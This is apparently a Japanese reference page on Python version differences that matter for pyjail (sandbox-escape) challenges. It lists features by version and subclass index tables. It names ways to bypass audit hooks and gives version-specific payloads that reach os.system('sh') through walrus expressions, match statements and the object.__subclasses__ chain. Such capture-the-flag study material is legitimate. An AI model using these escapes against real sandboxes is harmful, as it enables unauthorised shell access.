Python Version Differences
Overview
Python バージョン間の pyjail に関連する主要な差分。
バージョン別機能
Python 3.8
- audit hooks 導入 (PEP 578)
- walrus 演算子 (
:=) 導入 - positional-only パラメータ (
/) - f-string での
=(デバッグ用)
# walrus[y := x**2 for x in range(5)]
# f-string debugx = 10f"{x=}" # 'x=10'Python 3.9
- 辞書のマージ演算子 (
|,|=) - 型ヒント構文の改善
str.removeprefix(),str.removesuffix()
# 辞書マージd1 | d2
# removeprefix'__class__'.removeprefix('__') # 'class__'Python 3.10
- match 文導入 (構造的パターンマッチング)
- パラメータ仕様変数
- エラーメッセージ改善
# matchmatch x: case {'key': value}: print(value) case [a, b, *rest]: print(a, b)Python 3.11
- バイトコード大幅変更
- 例外グループと
except* Self型- TOML 標準ライブラリ化
# except*try: raise ExceptionGroup("", [ValueError(), TypeError()])except* ValueError: passexcept* TypeError: passPython 3.12
- f-string の制限緩和
- 型パラメータ構文
__class_getitem__の変更
# f-string 内でバックスラッシュ許可f"newline: {chr(10)}"
# 型パラメータdef func[T](x: T) -> T: return xサブクラスインデックスの変動
インデックス探索
for i, c in enumerate(().__class__.__bases__[0].__subclasses__()): print(i, c.__name__)典型的なインデックス
| クラス | 3.8 | 3.9 | 3.10 | 3.11 | 3.12 |
|---|---|---|---|---|---|
_wrap_close | 117 | 127 | 132 | 137 | 140+ |
catch_warnings | 140 | 144 | 148 | 152 | 155+ |
BuiltinImporter | 84 | 86 | 87 | 89 | 90+ |
注意: これらは参考値。実際の環境でインストール済みモジュールにより変動。
audit hooks
対象イベント
# 主要な監視イベント'import' # モジュールインポート'exec' # exec() 呼び出し'compile' # コードコンパイル'eval' # eval() 呼び出し (3.12+)'open' # ファイルオープン'os.system' # os.system()'subprocess.Popen' # subprocess 使用バイパス方法
| 方法 | 説明 |
|---|---|
_posixsubprocess.fork_exec | 監視されない低レベル関数 |
ctypes.CDLL(None).system | libc 直接呼び出し |
os.posix_spawn | 一部バージョンで監視なし |
バイトコードの違い
Python 3.10 以前
# 固定長命令 (2バイト)# opcode (1byte) + arg (1byte)Python 3.11+
# 可変長命令# specialized instructions# CACHE 擬似命令# co_exceptiontable 追加コードオブジェクトの互換性
# 3.11+ での変更code.replace(co_consts=new_consts) # 推奨方法
# 3.10 以前types.CodeType(...) # 直接コンストラクタセキュリティ強化
Python 3.11
- バイトコードの不変化
- より厳格なフレームアクセス
Python 3.12
- より多くの audit イベント
- 一部のバイパス手法が困難に
後方互換性のないペイロード
3.10+ 限定
# match 文match __builtins__: case {'eval': e}: e('...')3.8+ 限定
# walrus[x := __import__('os'), x.system('sh')]全バージョン対応
# 基本的なサブクラスチェーン[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')環境チェック
import sys
# バージョン確認sys.version_info
# audit hook の有無確認hasattr(sys, 'addaudithook')
# サブクラス数len(object.__subclasses__())